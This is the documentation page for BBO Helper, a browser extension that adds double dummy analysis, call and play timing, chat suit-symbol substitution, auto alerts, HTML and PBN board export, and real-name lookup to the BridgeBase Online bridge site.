BBO Helper browser extension

BBO Helper is a browser extension for Firefox, Google Chrome, Microsoft Edge, and Brave written by Matthew Kidd that enhances the functionality of the BridgeBase Online (BBO) application, standalone Hand Viewer, and MyHands web pages.

Feature summary

Why Firefox, then Chrome?

Table of Contents
Installation
BBO Helper Menu
Double Dummy Display
Auction / Play timing display
Chat Window enhancements
Alert dialog substitutions
Auto Alerts
Copying Boards as HTML
Real Names
Field Strength estimation
Portable Bridge Notation
Traveller improvements
Principal Auction Variants
Webpage title improvements
Keyboard shortcut summary
Timing details
Exporting/Importing timing
Saving BBO Traffic
Is BBO Helper safe?
How does BBO Helper work?
Using over Zoom
Known Issues
Acknowledgments
Technical notes

BBO Helper was developed for Firefox because I have long loyalties to Firefox and to open source software more generally. I have a healthy distrust of big tech and the advertising, privacy eroding, attention seeking model that much of big tech is based upon in the era of social media. As a developer, I know what sort of tracking is possible and have every reason to suspect that nearly anything that is possible is already being done even if it is highly detrimental to society as a whole (cartoon version for visual people). Firefox together with selected add-on such as uBlock Origin, HTTPS Everywhere, Decentraleyes, and Cookie Remover are part of my defense.

This said, there is nothing particularly specific to Firefox in BBO Helper. A few years ago, Firefox curtailed the permissions granted to add-ons for security reasons, resulting in a security model very similar to the one for Google Chrome. Support for Chromium based browsers proved fairly easy, with a release in mid-December. This includes Google Chrome, Microsoft Edge, and the Brave browser.

Support for Apple’s Safari is an open question. BBO Helper will never be supported on the old Microsoft Internet Explorer (IE) browser.

This is my first browser add-on. It’s been an educational process. A typical add-on teaching example is something like, “adds a red border to every webpage”. Woo-hoo. BBO Helper is much more complex, a witches’ brew! I used to be one of those guys who could write a few lines of JavaScript when I had to. Now I know something about the language, though I don’t yet consider myself an expert. I’m also much more knowledgeable about the browser APIs and exactly how things happen inside web browsers.

License, platform support, and language support

BBO Helper is released under the terms of GNU General Public License GPLv3.

The beauty of a browser add-on is that it works in principle on any platform where the browser runs. BBO Helper was developed on Windows 7 and tested extensively on both Windows 7 and Windows 10. It has also been somewhat tested on Mac OS.

Since version 1.1, BBO Helper has internationalization support, i.e. support for multiple languages. If you would like to make a translation, contact me and I will send you a file of phrases to translate.

Refer to the Revision History for a full list of changes in each version.

Send feedback and bug reports to software@lajollabridge.com

Installing BBO Helper

Installation varies slightly for different web browsers.

Firefox

Go to the following location on the Firefox Add-ons website:

https://addons.mozilla.org/en-US/firefox/addon/bbo-helper/

Permissions requested when installing BBO Helper on Firefox

Click on the Add to Firefox button.

When the prompt displayed at the right appears, click the Add button.

Refer to the Permissions requested section of this documentation if you want to understand why these permissions are requested.

Confirmation that BBO Helper was added to Firefox

After BBO Helper is installed, you will see a confirmation dialog. By default, add-ons are not allowed to run in Private Windows because add-ons have privileges that can allow them to compromise the extra privacy. If you run BBO from a private window, you can check the “Allow this extension to run in Private Windows” before pressing Okay.

When BBO Helper is installed on Firefox, there is no immediate sign of its presence until you start a BBO session or open another BBO webpage that BBO Helper is active on.

Google Chrome

Go to the following location on the Chrome Web Store:

https://chrome.google.com/webstore/detail/jlhdaeggmepllmioeamkmnmemmfiogjd

Permissions requested when installing BBO Helper on Chrome

Click on the Add to Chrome button.

When the prompt displayed at the right appears, click the Add extension button.

Refer to the Permissions requested section of this documentation if you want to understand why these permissions are requested.

Confirmation that BBO Helper was added to Chrome

After BBO Helper is installed, you will see the confirmation dialog (second screenshot).

Once BBO Helper installed, it is recommended that you pin it to your address bar as discussed in the section Accessing the BBO Helper menu below.

Although you have accepted the permissions that BBO Helper has requested, Google Chrome doesn’t always entirely seem to trust your judgment. Sometimes it seems to want a one time confirmation for different types of webpages it operates on.

Chrome requests to reload a page to use an extension

If the BBO Helper icon appears to be enclosed in a circle as in the two examples above, click on the icon and press the Reload button. It is best to do this before logging into BBO because reloading the page will log you off BBO.

You may be able to avoid this issue by going to the management page for BBO Helper below. (This type of link will only work in Google Chrome.)

chrome://extensions/?id=jlhdaeggmepllmioeamkmnmemmfiogjd

Look for the “Site access” and make sure all sites are enabled. You can also enable BBO Helper in Incognito mode, Chrome’s equivalent of Firefox’s Private Windows.

Microsoft Edge

Microsoft Edge allows extensions to be added directly from the Chrome Web Store. So go to the following location:

https://chrome.google.com/webstore/detail/jlhdaeggmepllmioeamkmnmemmfiogjd

If you have never installed an extension or never installed one from anywhere other than the Microsoft Edge Add-ons website, you’ll need to allow extensions from other stores. Click “Allow extensions from other stores” if you see the notice shown below.

Microsoft Edge prompt to allow extensions from other stores Microsoft Edge prompt to confirm allowing extensions from other stores Permissions requested when installing BBO Helper on Microsoft Edge

Then confirm your choice as shown at the right.

Click on the Add to Chrome button which will appear after you have allowed extensions from other stores. Yes, you are actually adding it to Microsoft Edge but you are on the Chrome Web Store which doesn’t change the button message, even though it could by checking which browser is requesting the web page.

When asked to confirm the installation, click “Add extension” as shown at the right.

Refer to the Permissions requested section of this documentation if you want to understand why these permissions are requested.

In Microsoft Edge you will see the BBO Helper icon on the browser’s address bar after the installation is complete. Microsoft Edge seems to behave more like Firefox than Google Chrome in the sense of trusting you once you have chosen to install the add-on.

Brave Browser

If you value your privacy but prefer a Chromium based browser over Firefox, the Brave browser is for you. It lacks the reporting back Google and Microsoft in Chrome and Microsoft Edge respectively and bundles in protections that can only be achieved in Firefox after installing some of the add-ons mentioned previously, such as uBlock Origin.

To install BBO Helper, proceed as indicated in the Google Chrome section above. Similar to Google Chrome, you will need to pin the BBO Helper icon to the address bar manually. However, Brave seems to act more like Microsoft Edge regarding access, i.e. once you have chosen to install the add-on, no further website specific confirmations are required.

Accessing the BBO Helper menu

Allow extensions from other stores prompt in Microsoft Edge Sample Chrome menubar with BBO Helper add-on icon indicated by a magenta circle

The BBO Helper icon looks like B++, a joke for programmers. BBO Helper takes BBO to the next level, i.e. BBO++ or just B++ when real estate is precious.

The BBO Helper icon has a slightly different placement in Firefox (top) and Chrome (bottom). In Firefox, the icon will appear in the address bar. In Firefox, add-ons that are active on all pages, e.g. the reddish shield-like uBlock Origin ad-blocker above, appear to the right of the address bar. Add-ons like BBO Helper that are only relevant to certain webpages, appear in the address bar when they are active.

Pinning an Extension to the address bar in Chrome

Chrome makes the same distinction in principle but implements it strangely and is phasing out the distinction. In practice it is easier to have the BBO Helper icon appear at all times.

If you do not see the BBO Helper icon in Chrome, you need to pin it to the address bar as shown in the figure at the right. Click the Extension icon (circled in the figure), look for the BBO Helper extension, and then click on the pin symbol (marked with a magenta box in the figure).

BBO Helper add-on menu

Clicking on the BBO Helper icon brings up a menu, as shown at the right. Quick Settings allows quick access to some commonly changed checkbox settings as shown at the bottom right. Edit All Settings brings up the full set of options in a separate tab that lists your Firefox or Chrome add-ons.

Define Auto Alerts allows the auto alerts issued with the BBO application to be adjusted. BBO Helper ships with the developer’s choice for a 2/1 style of play. You probably want to make adjustments or disable Auto Alerts through the Quick Settings menu item → “Enable auto alerts” (uncheck).

The Copy Board as HTML, Double Dummy (BSOL), Save Board as PBN, and Toggle Real Names items have their own sections below in the documentation.

The Open BBO My Hands provides a quick way to reach the BBO My Hands auxiliary website. BBO Helper makes improvements to several types of pages that can be reached from BBO My Hands, notably travellers.

BBO Helper Quick Settings

Many operations available from the menu have keyboard shortcuts. Pressing the Alt key together with the appropriate letter as indicated in the menu. On a Mac, use the Option key instead.

The specific items shown on the menu vary depending on the page with irrelevant items being hidden. On Chrome, where the icon is always present, only non-page specific items are shown when you are not on a BBO related web page and the keyboard shortcuts are not shown because they will not work when you are on a non-BBO web page.

The menu options below the dotted line are advanced features. Save BBO Traffic generates an HTML file with color coding for BBO client server traffic. If you want to know more about how BBO works, you can save some traffic files and view them in your web browser.

Double Dummy display

comparison of Hand Diagram (left) and Pictures of Cards (right) display modes with double dummy information shown in the former

The BBO application and the BBO standalone Hand Viewer have two modes for displaying hands. Refer to the figure above where the Hand Diagram mode is shown at the left and the Pictures of Cards mode is shown on the right. You can toggle between these two display modes using the ☰ menu in the History pane.

BBO Helper only adds the double dummy information if the BBO application is set to Hand Diagram mode. The 5 denomination × 4 seats table is added to the lower left of the diagram and the par score and par contract(s) are added to the upper right corner. Double dummy information is not added to the Pictures of Cards mode because there is no place to consistently place it with good visibility.

In the example figures, West’s preemptive 3♣ overcall has prevented NS from reaching the par contract of 4♠ which only succeeds when played by South. But even 3♠-N would be better than defending 3♣-W, which can only be set one trick according to double dummy table.

The double dummy information is obtained from John Goacher’s Bridge Solver Online (BSOL) and follows his convention for displaying contracts. Of note, a par contract like NS 2+1 means that although NS can take nine tricks in hearts, it suffices to bid 2 because the opponents can not profitably sacrifice over 2. (Recall that all sacrifice par contracts are doubled though this may not happen in practice.)

Expect to wait about 1-10 seconds for the double dummy display to appear. BBO Helper waits up to 20 seconds for a response from BSOL before timing out. If the double dummy information for a hand has been cached, the double dummy display will appear quickly. If the double dummy display does not appear, try selecting a different board and then returning to the original board.

If you prefer to see the makeable contracts instead of the number of tricks that can be taken, uncheck the “Double Dummy shows tricks (not contracts)” in the Quick Settings menu.

Launching Bridge Solver Online in a separate tab

BBO’s built-in double dummy solver (GIB) in the History pane is locked to the contract played and the tricks as they were played. With BBO Helper you can launch BSOL in a separate tab and the walk through the play double dummy for any contract. Either choose Double Dummy (BSOL) in the BBO Helper menu or use the Alt+D keyboard shortcut combination in Windows or Option+D on a Mac. Mnemonic: D for double dummy.

The first time you try this, Firefox will block the attempt to open a new tab. This is normal and part of Firefox’s defense to obnoxious pop-up ads. Click on Options as shown below and choose Allow pop-ups for www.bridgebase.com. The double dummy display will now appear in a new tab and you will not be prompted about it again.

Unblocking Firefox's attempt to block the double dummy popup

The BSOL double dummy display is a bit different from the BBO double dummy display. Double dummy optimal card plays are indicated by green and non-optimal plays indicated by yellow. BSOL shows the number of tricks the side on lead if each card is led whereas BBO shows the number of tricks for declarer relative to the contract, i.e. 2 means the play will permit two overtricks, 1 means the play will defeat the contract by one trick, and = means the contract will make on the nose.

A minor BBO bug

Display bug in the BBO History pane which can easily be fixed by slightly moving the divider between display panels

The BBO application interface seems to have a minor bug, perhaps specific to Firefox, but unrelated to BBO Helper. Sometimes the Hand Diagram display is not properly sized in the History pane. The workaround is to slightly move the divider between the History pane on the right and the main BBO application on the left with the mouse as indicated in the partial screenshot at the right. This will cause the Hand Diagram to render again, properly this time. You can even then adjust it back to exactly where it was previously without the display issue returning.

Auction / Play timing display

BBO Auction box with time of last call indicated in the lower right corner

BBO Helper always records the time taken for each call and card play when you are playing or kibitzing. By default this information is displayed on screen. Use the Quick Settings menu to change this.

The time for the last call is indicated in the bottom right corner of the auction box. The final pass in this auction took 23 seconds.

For tricks, the time required to play each card to the trick is shown. The appearance depends on whether the display is in Hand Diagram or Pictures of Cards mode.

Display of card play timing for a full trick in the Pictures of Cards (left) and Hand Diagram (right) BBO display modes

In Pictures of Cards mode, the timing is shown at the outer edge of each card. In Hand Diagram mode, the timing is usually shown at the upper right but the location varies depending on circumstances, for example when you are defending a hand.

Yes, the basic BBO robots play very quickly. The web browser client spends about as much time animating the card play as the robots take to think. The time is posted as soon as the message arrives from the BBO server, ahead of the animation.

Chat Window enhancements

BBO Helper makes several improvements to the chat window.

Setting a table greeting the BBO chat window

You may set and record a table greeting by starting a message with a forward slash. The forward slash will be removed in the outgoing message. To repeat the message simply type a single forward slash into the chat window. This is useful for greeting opponents at the start of each round of a tournament or when a new player and/or pair is seated at a social game.

A table greeting is always sent to the entire table even if your chat selector (lower left corner) is set to a specific individual, Opponents, Kibitzers, etc. This is convenient if you have been having a private chat with your partner after a round has completed.

Incidentally, BBO Helper disables the Firefox Quick Find feature in the BBO application and the standalone BBO Hand Viewer. Quick Find brings up a text search dialog at the bottom of the web page when the forward slash or apostrophe key is pressed outside a text box. This generally useful functionality is not helpful in BBO because there is nothing to search for and open the search dialog at the bottom of the page causes BBO to rearrange everything else on the page which is irritating and confusing. The regular find (Ctrl+F) still works though if you really need to search.

BBO handle substitution

The expressions !w, !n, !e, and !t are replaced with the BBO handle of the player in the West, North, East, and South seat respectively. Note: !t rather than !s for South because !s is used by BBO for the spade symbol.

Automatic suit symbol substitution

BBO replaces !c, !d, !h, and !s with the respective suit symbol. But typing all those exclamation marks is annoying. BBO Helper automatically recognizes bids, individual cards, and suits and inserts the appropriate exclamation marks for you. For example, if you type, “I led the dq from dq93 because you overcalled 2d.” BBO Helper will convert this to “I led the !dq from !dq93 because you overcalled 2!d.” and it will appear in the chat window as “I led the Q from Q93 because you overcalled 2.”

The conversion is case insensitive save for a few practical exceptions, and all honor cards are capitalized during the conversion. 10, T or t may be used for a ten. Suits are only converted if they are rank ordered. However, you may append any number of lowercase x characters to indicate unknown or unimportant small cards, e.g. skjxxx is converted to ♠KJxxx.

Exceptions: SA and CA are not converted to ♠A and ♣A when fully capitalized because they often refer to the Standard American style of bidding or California respectively. Hx is not converted to x because it is often convenient to use it to refer to an honor-doubleton. cat, hat, and sat are not converted to ♣AT, AT, and ♠AT respectively because they are common English words. dat is treated the same way for consistency. However, you may force the conversion with cAT, dAT, hAT, or sAT.

Bare suit letters, e.g. h, are not converted to suit symbols.

Here are some examples of symbol substitutions:

InputResult
Lead the hk Lead the K
Don’t ask Not converted to “Don’t a♠K” because “letter-like” a before sk prevents sk from being interpreted as a card.
Preempt 3D, and win the opening lead in dummy with the ca! Preempt 3, and win the opening lead in dummy with ♣A! (The punctuation characters are not “letter-like”)
After the sq, switch to a low heart. After the ♠Q, switch to a low heart.
Is ckt9xxx good enough for a 3c preempt? Is ♣KT9xxx good enough for a 3♣ preempt?
What about c9kq532? Not converted because cards are not rank ordered, i.e. not recognized as a suit.
How about caKj10xx? How about ♣AKJ10xx? (mixed case is fine, and so is 10 for ten)
Did you know that the Laws did not always prohibit bidding impossible to make contracts like 8d? 8d is not converted to 8 because it is not an allowed bid.
Very few in CA still play SA. CA and SA are not converted to ♣A and ♠A because there are special exceptions for California (CA) and Standard American (SA) when fully capitalized.

Claim suit symbol substitution

Automatic suit symbol substitution also works in the claim dialog. In this case, bare suit letters are converted because in this restricted context the user almost certainly means a suit. So the claim, “h on good c” will be converted to “ on good ♣”, implying that declarer intends to pitch losing heart(s) on established clubs.

Alert dialog substitutions

InputOutput
f1 Forcing for one round
gf Game forcing
nf Non-forcing
nfc Non-forcing constructive
hs Help suit
hsgt Help suit game try
nat Natural
p/c Pass or correct
to Takeout
t/o Takeout
un Undiscussed
xf Transfer
c1 First round control
c2 Second round control
c12 First or second round control
cc1 Cheapest first round control
cc2 Cheapest second round control
cc12 Cheapest first or second round control

Bare suit symbols are substituted in the alert dialog both when initially making a call and also when modifying it or adding an explanation to a previous call, typically at the request of the opponents.

Additionally, the short strings in the table at the right are expanded as indicated. The substitution is case insensitive and only occurs if it is unaccompanied by other text, save for possible leading or trailing white space.

You may disable alert dialog substitutions by unchecking the Enable Alert Substitutions option added in BBO Helper 1.3 in the full settings.

The alert window is different from the chat and claim windows. The symbol substitution will be seen by your opponents and will appear in the permanent record of the hand. However you will not see the symbol substitution on your screen when alerting a call at the time you make it. This is due to limitations on how well BBO Helper can integrate with BBO without risking adverse side effects. But you will see a brief message like, “Sent as: Game forcing” announcing the substitution.

The Auto Alert functionality covers the most common transfers, but you may find the xf substitution convenient for less common transfer situations.

Auto Alerts

BBO Helper can automatically alert some common bidding situations. This is a convenience rather than a comprehensive functionality. BBO Helper ships with the developer’s choice for a 2/1 style of play. You probably want to make changes. Or you can disable Auto Alerts through the Quick Settings menu item → “Enable auto alerts” (uncheck).

Auto Alert message displayed after a forcing 1NT bid

When an auto alert occurs, the user is briefly shown the explanation provided as in the example at the right; however it does not appear in the usual BBO explanation text box owing to limitations on how well BBO Helper can integrate with BBO without risking adverse side effects. If the Auto Alert functionality provides an explanation that is incorrect, you may amend it by clicking on the BBO explanation box and providing your own explanation, or “Sorry, NF,” or whatever applies. If you provide your own explanation when making a call, the auto alert functionality will not change your explanation.

Explanations can be provided for any opening bid through 3NT. You may provide a separate explanation for 1NT when vulnerable; otherwise the first explanation for 1NT will be assumed to apply. There is a separate box for defining 2-level opening bids in fourth seat. Otherwise no distinction is made between seat and vulnerability, though you could provide that in an explanation, e.g. “NV: Majors 5-5 or better; V: diamonds”.

Please use Auto Alerts to promote full disclosure. If your 1 shows four or more cards unless you are 4=4=3=2, then put that in. It is impracticable to type it every time but the announcement is easy with BBO Helper. Likewise, Precision players seldom self-alert 1 and 1♠ as 10-15 HCP (or similar) because it is too tedious but BBO Helper makes it is easy. It is reasonable to assume that almost everyone has some basic familiarity with Precision in an ACBL open regional event; this is not a reasonable assumption in an ACBL Support Your Club game on BBO.

There are separate Auto Alerts sections for responding to 1NT, various other non-competitive responses, your direct seat defense to 1NT, and a few miscellaneous scenarios.

Do you wish Auto Alerts were more comprehensive?

Me too. But auto alerts are the kind of rat hole you can fall into as a developer and never emerge from, pushing back your release date indefinitely. If you would like something more comprehensive, there are several options. If you can provide JavaScript code that can accept an auction and vulnerability and return an explanation when applicable, I could incorporate your code into BBO Helper. Alternatively you can provide a server that takes the same information and responds promptly to an AJAX request. Or you could join me on the BBO Helper development.

Copying Boards as HTML

BBO Helper can create a nice HTML presentation of any board in the BBO application History pane or the BBO standalone viewer which you can then copy to e-mail, Microsoft Word, or any other application that accepts HTML from the clipboard. This is very handy for teaching, bridge writing, or partnership discussion. Pulling up the display is also a quick way to review the timing information for a board provided you have “Show timing on board copy HTML” checked on the Quick Settings menu.

The BBO Helper Copy-and-Paste Aid addresses a major BBO shortcoming, the inability to easily copy a board. Previously, many people resorted to screenshots because that seemed like the only convenient solution. But an image doesn’t represent bridge in an intelligent manner, often looks poor when resized, and cannot be easily edited. Another solution was to use John Goacher’s Bridge Solver add-on for Google Chrome, use it launch his BSOL (as you can do with BBO Helper too), use the Save button in BSOL to save the board in Portable Bridge Notation (PBN) format, and then import the PBN into a program like Bridge Composer where you can format it exactly as you wish. This is much cleaner and BridgeComposer is inexpensive, but it is still a roundabout procedure.

BBO Helper puts an end to this frustration. To copy a board select Copy Board as HTML from the BBO Helper menu or use the Alt+H keyboard shortcut on Windows, or Option+H on a Mac. Mnemonic: H for HTML. This will bring up a display like the one below.

BBO Helper HTML copy-and-paste aid as it first appears

To close the copy-and-paste aid, click on the red close button at the upper right or press Alt+H again. If you switch boards in the BBO application History screen or change the display settings and want to update the copy-and-paste aid you can use the Alt+R keyboard shortcut. This is faster than closing and reopening the copy-and-paste aid. Mnemonic: R for Refresh.

If the copy-and-paste aid does not appear quickly, it is waiting for the BBO application to finish loading the auction for the current board in the History screen. The copy-and-paste aid does not wait for double dummy information. If it is not already available, it will not be displayed even if requested via the “Include double dummy table, par, and par contract(s)” in Full Board Copy display section of the full options page.

This example shows the four color suit symbols which you can enable via “Four color suits on board copy HTML” in the Quick Settings menu. Otherwise, the traditional red and black suit colors will be used.

You can use the blue buttons on the top row to rotate the deal or click on the blue star button to automatically position declarer at the bottom as is conventional in bridge books.

When the board is rotated to your satisfaction, click on the fifth button, circled in the screenshot below. If you are using Google Chrome, this will copy the board directly to the clipboard and briefly display the message “Board copied to the clipboard”. Then you can paste it anywhere via Ctrl+V (⌘+V on a Mac). If you are using Firefox, a two step procedure is required. First click on the fifth button to select the entire contents of the board. Then press Ctrl+C (⌘+C on a Mac) to copy the entire board to the clipboard at which point you can paste it anywhere via Ctrl+V (⌘+V on a Mac). When the board is selected, you will briefly see a message reminding you to press Ctrl+C to copy it to the clipboard. The reason Firefox requires the two step procedures is explained in A clipboard saga.

Because the content is copied as HTML rather than an image, it can be edited in the destination document, and text will render nicely because it remains text rather than image pixels. For example, you could easily change the defender’s names to LHO and RHO to protect the guilty or edit player names that are overly long, perhaps using a first initial and a surname.

BBO Helper HTML copy-and-paste aid with board selected, ready to be copied

Warning: Don't try selecting the board by clicking in the upper left corner and dragging to select. This method misses invisible little bits of the HTML and this will cause formatting issues and font size weirdness when you paste into the destination document. Use the button to select the contents of the board.

BBO Helper has many options to control what is displayed in the HTML board copy and how it is displayed. From the Quick Settings menu you can control whether or not to show the timing. Here is an example that shows timing, turns off the double dummy table, displays real names instead of BBO handles, uses traditional red and black for suit symbols, and displays tens as T instead of 10.

BBO Helper HTML copy-and-paste aid with timing information for board shown

When timing is shown, breaks in tempo (BITs) are flagged with yellow (10+ sec), long BITs are flagged red (30+ sec), and insta-actions (under 1 sec) are flagged with light blue. These thresholds can be changed in the full settings under the Time flagging thresholds section.

(Partner was really stymied on this board. He felt like he should do more with 5-5, but 3 is game forcing for us and 2NT doesn’t seem right. I’m glad he passed; had he bid 2NT I would have had a real ethical dilemma because I wouldn’t even know whether Pass or 3NT was the appropriate logical alternative.)

Times shown for the first call are about five seconds longer than the player’s actual thinking time because the clock starts when the client receives the deal but the player cannot evaluate their hand until the dealing animation ends (unless they choose to turn off BBO’s animation).

The robots play very quickly. Many of their actions require less than 0.05 sec and except at trick one almost all occur in under 1 second. When a robot is declaring, much more time is spent animating the play for the benefit of the human observer than is spent on the actual play. Consequently, the completed deal arrives in the History pane before the deal is fully played out in the main deal window.

Under the Full Board Copy display section of the full settings you can control whether to include the timing, auction, contract, card play table, auction explanations, double dummy table and par, HCP diagram, date and time of the event, links to the BBO Handviewer and Bridge Solver, and an overall bounding box. Timing can only be shown if it was previously recorded. So if someone sends you a BBO Handviewer link, you will probably not have the timing information unless you happened to be playing or kibitzing the board. Auction explanations are only shown when the copy-and-paste aid is invoked from the standalone BBO Handviewer rather than from the BBO application.

There are several options for controlling details of the appearance, e.g. two or four color suits, 10 vs. T, — or empty space for indicating void suits, N or NT, P/X/XX or Pass/Dbl/Rdbl, etc.

When timing is shown, the bluish background of the BBO style auction box can make the timing hard to read. You might prefer to uncheck the “Style the auction box similar to BBO” in the Partial Board Copy display section of the full settings.

When playing against robot(s), their lengthy explanations of their calls can be distracting. In the full settings, you can check “Hide robot bidding explanations”. This will hide explanation of robot bids while still displaying what the robot thinks the human bid means if the human is partnered with a robot. Also, you may see explanations that appear to be cutoff at the end, e.g. “15-17 H” when “15-17 HCP” is meant or “2-5 !” when the ! should be followed by a letter for a suit symbol substitution for say “2-5 ♣”. These issues are due to BBO. When you copy-and-paste the board, you can edit these explanations in the destination document.

For details about the robot bidding system see GIB System Notes and then click through to see the convention card given for GIB near the top of the page.

Partial boards

If you play through one or more tricks in the History pane or the BBO Hand Viewer before invoking Copy Board as HTML, the board will be displayed as it is at this point. Partial boards only show the hands, players / seat names, board number, and contract. The board number and contract may be turned off to present a diagram fully focussed on the card play.

Currently, you do not get a partial board if BBO is set to Hand Diagram mode and played cards are not hidden (the default) but instead grayed out. A future version of BBO Helper will handle this case properly.

Copying HTML as plaintext (power users only)

If you want a plaintext representation of the HTML for the board diagram, click the HT
ML
button. You’ll briefly see the message, Board HTML copied to clipboard as text. Then you can paste the clipboard directly into an HTML editor. Some other programs can also accept HTML directly, for example the Thunderbird e-mail composition window via Insert (menu) → HTML.

Copying hand(s) or other elements from the board

Sometimes you might want to copy just a single hand, a pair of hands, the auction, the card play table, the double dummy table, or some other element from the copy-and-paste aid. The intuitive click and drag might work but the most reliable technique is to use the Firefox Ctrl+click select method to accurately pick up the entire HTML for the element, i.e. the full table or HTML <div> wrapper element. Hold down the Ctrl key and left click near the upper left corner of the element you wish to select. You’ve succeeded if a blue rectangle appears around the desired element. It takes a bit of practice to get it right. In the example below the West hand has been selected.

BBO Helper HTML copy-and-paste aid with West hand selected

Press Ctrl+C (⌘+C on a Mac) to copy the selected item to the clipboard.

Once one element has been selected, you many select another by Ctrl+click at another location. In the following example both the East and West hands have been selected.

BBO Helper HTML copy-and-paste aid with East and West hands selected

If you copy-and-paste this selection you should see something like the following in the destination document:

Chip Lawrence
J973
QJ72
J4
KQ7
Elizabeth Spence
6
K10865
AQ7
J432

To copy the double dummy table, Ctrl+click where it says Par Score so that you select the entire double dummy table rather than individual cells of it. To copy the entire card play table, click just a bit to the left of it. You’ll get the hang of it with practice.

Google Chrome doesn’t seem to have a direct equivalent to the Firefox Ctrl+click select method but the plain old click-and-drag method tends to work better in Chrome than Firefox so usually that will work well enough. However, it will not handle selection of multiple items at once, such as the East and West hands above.

HTML details (for power users only)

The HTML copied from the copy-and-paste aid is font agnostic. It does not specify a font or a font size. It only uses percentage units to make some text relatively bigger (the contract) or smaller (double dummy table, HCP table). This means the copied HTML will inherit the font and font size of the embedding document. If that font happens to be Zapf Dingbats (ugh!), it will not look good, but in general it works well.

By default the spade and club suit symbols are explicitly set to black (unless you have chosen four color suits). There is an option under the Card, Bid, and Suit appearance section that you can uncheck to cause the spade and club symbols to match the foreground color of the embedding document.

The generated HTML styles everything inline. It's not safe to assume that any browser will fully pick up CSS when copied. Chrome comes close; Firefox in my experience does worse.

The top level <div> element contains several data- attributes: data-board, data-deal, data-auction, data-contract, and data-lin. These may prove helpful for programmatic manipulation.

The generated HTML includes classes, all prefixed with bh- (i.e. BBO Helper) to reduce the chance of collision with the embedding document: bh-north, bh-west, bh-south, bh-east, bh-bnum, bh-auction, bh-cardplay, bh-dd, bh-contract, bh-hcp. These could be used by the embedding document to apply further styling. Inline styling takes precedence over normal CSS so you must use the !important rule in your CSS definitions to override the inline styling.

Real Names

Much was lost when bridge went fully online. In face to face play you always knew whom you were playing against. All you had to do was look at their properly filled out convention card, a requirement. Even if it was incomplete or missing, you could always examine the scoring printout or the ACBL Live website and work out whom you played against each round. Despite exhortation by club managers, many ACBL players still haven't filled out their name in their BBO profile a year and a half into the pandemic.

The Real Names feature translates about 49,000 BBO handles of ACBL players to real names, covering most of the regulars. (About half the ACBL membership did not make the transition to online bridge or did so only minimally.)

Real name display for players at the table

Press Alt+N (mnemonic: N for names) in the BBO application to show the real names of the players at the table, as shown in the figure at the right. In this example, three players are known, two from New Hampshire, but nothing is known about Wally1 in the West seat. Alt+N also works in the standalone BBO Handviewer. Press Alt+N again or click the close button in the upper right to hide the display.

In the “Full Board Copy display” section of the BBO Helper options, you may select “Name (if known) or BBO [handle]”. Real names will be used when known; otherwise the BBO handle will be used. BBO limits handles to ten characters; full names can be quite a bit longer which can throw off the board display. However, since the output is HTML you can directly edit the player names in the embedding document until it looks right, perhaps shortening to a first initial and last name or just a last name.

Tooltip that shows real name of player, if known for people in the Friends, Hosts, Stars, and Enemy lists of the People tab in the right side pane.

When you mouse over a name in People pane, the player’s real name is shown at the right. In the example at the right, Ulmus is revealed to be David Oakley. This functionality works for Friends, Hosts, Stars, and Ignores (aka Enemies). If you find this feature distracting, you can disable it from the Quick Settings menu by unchecking “Show name tooltip in people tab” or “Show real name tooltip in People tab (friends, hosts, stars, ignores)” in the full Options page.

When tournament results are displayed in a separate tab, real names are added as an additional column. See the example in the Field Strength section immediately following.

Field Strength estimation

BBO Tournament Result Popup with open in the separate tab icon flagged by an orange rectangle.

BBO Helper can estimate the field strength of an event if there are enough ACBL players in the event whose BBO handles are in the BBO Helper player database.

Bring up the BBO Tournament Results pop-up and open it in its own browser tab by clicking on the button for that, the one shown inside the orange rectangle in title bar of the diagram at the right.

In the separate tab, there will be an additional Strength line, directly under the Title line, near the top of the page, e.g. something like, “Strength 1310 MP, estimated from 519 ACBL players (54% of field)”.

This value represents the geometric mean of the ACBL masterpoint total of all players whose masterpoint total is known. I have argued previously that the geometric mean is a better indicator of field strength than the arithmetic mean. In a geometric mean, the numbers are averaged in a logarithmic sense, rather than an arithmetic sense, for example, the geometric average of two players with 100 MP and 10,000 MP is 1,000 MP, not 5,050 MP. Less experienced players drag down the geometric mean more than the arithmetic mean. A field with a high geometric mean should in principle be uniformly fairly tough and offer few gifts.

BBO Helper also shows player names with home state or Canadian province next to the name for the overall leaders (Honor list) and each individual section. A truncated example is shown below. Unknown names are indicated with a question mark. If no names are known for a pair or team, the field is left blank.

Results for one section of a tournament with player names included

Portable Bridge Notation (PBN) support

Portable Bridge Notation (PBN) is a standard for representing bridge games. It includes features to store the deal, auction, explanations of auction calls, the contract reached, the card play, double dummy contracts (“optimal contracts”), board travellers, and more. It even has the ability to store the timing of calls and played cards. A single PBN file can contain information about multiple boards.

Many programs can read PBN files, though they may ignore aspects of the PBN file that they do not support, for example the timing information. I am very fond of the lightweight Bridgify double dummy application for Windows. Bridge Captain has a following and is now free. BridgeComposer is an inexpensive program for writing professional looking bridge articles. Dealing machines can read PBN files. My ACBLmerge software can read and create PBN output. Standards make the software world go round.

BBO Helper can write PBN files for an entire session of boards or a single board in the BBO application History pane or standalone Hand Viewer. BBO Helper creates very detailed PBN files.

The best way to download PBN files is from the BBO My Hands auxiliary website. You can reach this website easily from the Open BBO My Hands item in the BBO Helper menu.

List of board from BBO My Hands with Download PBN button added by BBO Helper

BBO Helper adds the Download PBN button to each session. Clicking on it will download all the hand records from BBO in the LIN format that BBO uses, convert them to PBN, and then prompt you to save the resulting PBN file. The default filename is generated based on the date and time the session started and also the tournament name if the hands are from a tournament, but you can edit the filename before saving it. A similar Download PBN button is added to hands from social session and also for team games.

PBN files created in this manner will include the auction, any alerts and explanations of calls during the auction, and the card play. The PBN [Event] tag is set to the name of the tournament if for tournament, e.g. something like, “BBO #82164 ACBL Open-Pairs Mon 1:10PM (18 Boards - MP)”. The [Site] tag is set to “BBO”. Both the [Date] / [Time] and [UTCDate] and [UTCTime] tags pairs are included, the latter simplifying world wide collaboration and automated processing. The seat tags, e.g. [North] are populated with each player’s BBO handle.

PBN files will contain the [AuctionTimeTable] and [PlayTimeTable] if timing information is available. The [OptimumResultTable] is only included if double dummy information for the deal is already cached. This avoids the long delay that might result from fetching the double dummy information for a large set of deals.

BBO Helper can generate a PBN file for a single board from the History pane or the board displayed in the standalone BBO Hand Viewer. Choose Save Board as PBN from the BBO Helper menu or use the Alt+P keyboard shortcut in Windows or Option+P on a Mac. Mnemonic: P for PBN.

Where are the PBN files saved?

